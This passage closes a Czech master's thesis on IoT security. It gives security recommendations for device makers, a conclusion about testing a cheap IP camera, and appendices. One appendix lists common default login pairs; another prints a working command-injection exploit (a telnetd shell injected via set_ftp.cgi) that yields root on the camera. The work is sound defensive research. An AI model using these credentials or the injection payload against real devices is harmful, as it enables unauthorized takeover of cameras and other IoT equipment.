b. Mobilni aplikace by neméla vyzadovat ptilisna prava nad ramec o¢ekavané
funkcionality. (Vice viz kapitola 4.2.3, sekce 11.)

c. Mobilni aplikace by méla byt dlouhodobé podporovana a pravidelné aktua-
lizovéna. (Vice viz kapitola 4.2.3, sekce I11.)

d. Komunikace mobilni aplikace s cloudem nebo pfimo se zatfizenim by méla
byt Sifrovanim chranéna vici odposlechu ptihlasovacich udajt, tokend nebo
cookies. (Vice viz kapitola 4.2.3, sekce IV.)

e. Mobilni aplikace by neméla obsahovat Sifrovaci kli¢e nebo hesla citelna
pfimo v kédu. (Vice viz kapitola 4.2.3, sekce V.)

f.  VSechny mobilni aplikace by mély byt podepsané vyrobcem. (Vice viz ka-
pitola 4.2.3, sekce VI.)

4. Cloud

a. Komunikace s cloudem by méla byt Sifrovanim chranéna vii¢i odposlechu
piihlaSovacich idajt, tokend nebo cookies. (Vice viz kapitola 4.2.4, sekce
V)

b. Webové rozhrani cloudu by mélo implementovat HTTPS, a to kvili Sifro-
vani obsahu i autentizaci serveru. (Vice viz kapitola 4.2.4, sekce VI.)

c. Cloud by mél manipulovat s uzivatelskymi daty zejména v souladu s prav-
nimi podminkami ptislusného statu uzivatele. Zaroven mél data dostatecné
chranit a branit potencidlnimu zneuziti pro marketingové ucely. Sbirané
udaje by mély byt anonymizovany.

d. Webové rozhrani cloudu by nemélo obsahovat béZzné zranitelnosti webo-
vych aplikaci jako XSS, CSRF, RFI, LFI, SQL injection a dalsi. (Vice viz
kapitola 4.2.4, sekce IX.)
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5. Sitové sluzby, protokoly a architektura sité

a. Veskeré oteviené porty by mély byt dokumentovany. Vyrobci by se méli
vyvarovat ponechani sluzeb z testovani produkti. (Vice viz kapitola 4.2.5,
sekce I11.)

b. Bézici sluzby by mély byt aktualizované a zabezpecené. Je nepftijatelné, aby
uzivatelé zakoupili produkt obsahujici zranitelné sluzby nebo rozhrani.

(Vice viz kapitola 4.2.5, sekce IV.)
6. Firmware a aktualizace

a. Prihlasovaci udaje potazmo Sifrovaci kli¢e by nemély byt Citelné ve zdrojo-
vém kédu firmwaru. (Vice viz kapitola 4.2.6, sekce 1.)

b. Firmware by m¢l byt digitaln€ podepsan. (Vice viz kapitola 4.2.6, sekce I1.)

c. Aktualizace firmwaru by mély byt automatické, uzivatelsky ptivétive, pra-
videlné a vcas. (Vice viz kapitola 4.2.6, sekce I1I. a V.)

d. Aktualizace by mély byt stahovany Sifrovanym kanalem, aby byla zajisténa
jejich integrita. (Vice viz kapitola 4.2.6, sekce IV.)

e. Firmware by mél umoziiovat logovani bezpecnostnich udalosti nejlépe ve

formatu syslog. (Vice viz kapitola 4.2.6, sekce VI.)
7. Fyzicky pristup

a. Design zafizeni by mél zamezit nechténému vypnuti ¢i restartu zatizeni.
(Vice viz kapitola 4.2.7, sekce 1.)

b. Design zafizeni by mél zamezit snadnému poskozeni zatizeni ¢i odstranéni
jeho ¢asti. (Vice viz kapitola 4.2.7, sekce I1.)

c. Zatizeni by nemélo obsahovat nadbyte¢né externi porty. (Vice viz kapitola
4.2.7, sekce VI.)

d. Piistupu k sériovému rozhrani by mélo byt po otestovani zamezeno. (Vice
viz kapitola 4.2.7, sekce VII.)

e. Datové ulozisté by mélo byt Sifrovanim chranéno vii¢i precteni dat a mani-

pulaci s nimi. (Vice viz kapitola 4.2.7, sekce IV.)
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8. Obecna doporuceni

a. Zvazit spusténi bug bounty programu pro white-hat bezpe¢nostni vyzkum-
niky a umoznit tak reporting zranitelnosti.

b. Korektn¢ nastavit pravni podminky uziti, privacy agreements a tyto dodrzo-
vat.

c. Poskytovat zakaznickou technickou podporu.

d. Ke kazdému produktu vytvoftit piehlednou a kompletni dokumentaci.

e. Umoznit nezavisly audit kodu 1 cloudového backendu pted nasazenim.
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6 Zavér

Predlozena diplomova prace se zabyvala bezpecnosti internetu véci v prostiedich domacich
amensich podnikovych siti. Jejim hlavnim cilem definovanym v zadani prace bylo vytvoteni
metodického postupu vhodného k ovéteni a zajisténi bezpecnosti prvki internetu véci. Dal-
Sim z cili bylo vytvofeni seznamu doporuceni bezpecnostnich opatfeni pro koncové
uzivatele ptipadné spravce mensich podnikovych siti.

V teoretické ¢asti byl definovan koncept internetu véci, predstavujici nastupujici éru
propojenych, komunikujicich zatizeni v§edniho uZiti. Soucasné byly uvedeny 1 ¢etné apli-
kace IoT v praxi vCetné jejich rozsifeni ve svété. Dostupné poznatky a informacni zdroje
byly dale vyuzity pro vypracovani kli¢ové analyzy bezpecnosti prvki IoT, zejména analyzy
hrozeb, rizik a zranitelnosti. Ty jsou u internetu véci do zna¢né miry specifické, protoze
mnohdy zahrnuji pro dana odvétvi neobvyklé discipliny. Zavérem teoretické ¢asti byla stu-
die probéhlych incidentii, kdy doslo k naruSeni bezpecnosti kompromitaci nebo zneuzitim
prvki IoT. NejvyznamnéjSim byl v tomto ohledu botnet Mirai, jenz se skladal ze statisicti
IoT zafizeni a byl zneuzivan k masivnim DDoS utoktim.

Uvod praktické ¢asti byl vénovan seznameni s testovacim prostfedim domaci sité a sa-
motnym [oT prvkem, ktery byl za t¢elem demonstrace postupli ovéteni bezpecnosti potizen.
Slo o levnou IP kameru &inského vyrobcee, u které bylo mozné ovéfit vétiinu aspektil souvi-
sejicich s bezpecnostnimi riziky IoT.

Zbytek praktické €asti jiz byl zaméfen na hlavni téma, tedy vytvofeni metodiky ové-
feni bezpecnosti prvka IoT. Postupné byly adresovany vSechny aspekty diive uvedené
analyzy hrozeb, rizik a zranitelnosti. Tyto aspekty byly roztfidény do sedmi kategorii: uzi-
vatelské ucty a hesla, webové rozhrani, mobilni aplikace, cloudové rozhrani, sitové sluzby,
firmware a fyzickd bezpecnost. V kazdé kategorii byly uvedeny dil¢i rizika a zranitelnosti,
k nimZ byl déle uveden obecny popis, postup ovéieni a nasledné demonstrace tohoto postupu
na prikladu.

Testované zatizeni nebo jeho dal$i vybaveni obsahovalo fadu bezpecnostnich rizik po-
tazmo zranitelnosti. Nejvaznéj§i z nich: nedokumentovany administratorsky ucet, slabé
vychozi ptihlasovaci tdaje (admin:888888), webové rozhrani umoziujici enumeraci Ucti
a neomezené hadani hesel, vefejné dostupnd streamovaci sluzba RTSP, chybé&jici ochrana
vuci podstréeni upravené verze firmwaru pii aktualizaci a zranitelnost typu command in-

jection. Dale zafizeni neimplementovalo Sifrované spojeni s webovym rozhranim ani
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s cloudem, nenabizelo moznost vicefaktorové autentizace. Jeho mobilni aplikace obsahovala
citlivé udaje v kodu odhalitelné reverznim inzenyrstvim a vyzadovala pfi instalaci pfilisna
prava k systému.

V posledni kapitole diplomové prace byly uvedeny dosazené vysledky a predev§im
samotnd navrzena metodika ve form¢ seznamu doporuceni bezpecnostnich opatieni uziva-
telim i vyrobctm IoT zafizeni. Tyto seznamy doporuceni piedstavuji tzv. ,,nejlepsi praxi‘
pro ob¢ skupiny a jsou vyuzitelné i spravci mensich siti a systému. VEtSina principti je totiz
pienositelna i do podnikové praxe.

Poznatky ziskané v rdmci této prace jsou tedy prakticky vyuzitelné a mohou byt dale
prejaty cilovymi skupinami pii potizeni a zejména zapojeni prvkil internetu véci. Nejdilezi-
téjSim sdélenim této prace ale je, ze zapojeni prvkil internetu véci do domaci ¢i podnikové
sit¢ vytvari nezddouci bezpecnostni rizika, ktera je tieba zvazit a podle toho s prvky IoT

nakladat.
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8 Prilohy

Priloha 1: Nejcastéji zkouSené kombinace prihlasovacich udaja

Uzivatelské jméno Heslo
root xc3511
root vizxv
admin admin
root admin
root xmhdipc
root 123456
root 888888
root 54321

support support
root default
root root
admin password
root anko
root
root juantech
admin smcadmin
root 1111
root 12345
root pass
admin adminl234
admin default
support support
admin 1111
admin
user user
Administrator admin
ubnt ubnt
admin 12345
test test
admin <Any pass>
admin anypass
administrator
admin 1234
root password
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root 123456

Zdroj: Kusakov et al., 2017

Ptiloha 2: Postup ovladnuti zafizeni a spusténi sluzby Telnet

Testovana IP kamera obsahovala zranitelnost typu command injection, na kterou upozornil
vyzkumnik Pierre Kim (2017). Zranitelnost se projevila v nastaveni nahravani obrazka na
FTP server, respektive v CGI skriptu (set_ftp.cgi) webového rozhrani. Vlozil-1i se do pole
pro FTP heslo ptikaz zacinajici znakem $, byl interpretovan ve skriptu /tmp/ftpupload.sh.

(Kim, 2017) Obsah tohoto skriptu byl nasledujici:

# cat /tmp/ftpupload.sh

/bin/ftp -n<<!

open 10.0.0.1 21

user ftp $(telnetd -1 /bin/sh -p 25)ftp
binary

lcd /tmp

put ftptest.txt

close

bye

|

Ptestoze testovand IP kamera neméla ve vychozim stavu otevieny Telnet nebo SSH port,
disponovala spustitelnym Telnet démonem. Funk¢ni exploit, ktery spustil Telnet sluzbu na
portu 25 byl tedy nasledujici:

# wget -gO-
'http://10.0.0.198:55924/set ftp.cgi?next url=ftp.html&logi-
nuse=adminé&loginpas=88888888&svr=10.0.0.1l&port=21&user=ftp&pwd
=$ (telnetd -p25 -1 /bin/sh)&dir=/&mode=PORT&upload interval=0'
# wget -qO-
'http://10.0.0.198:55924/ftptest.cgi?next url=test ftp.htm&lo-
ginuse=admin&loginpas=88888888"

# telnet 10.0.0.198 25

Trying 10.0.0.198

Connected to 10.0.0.198.

Escape character is '~]'.

# id

uid=0 (root) gid=0
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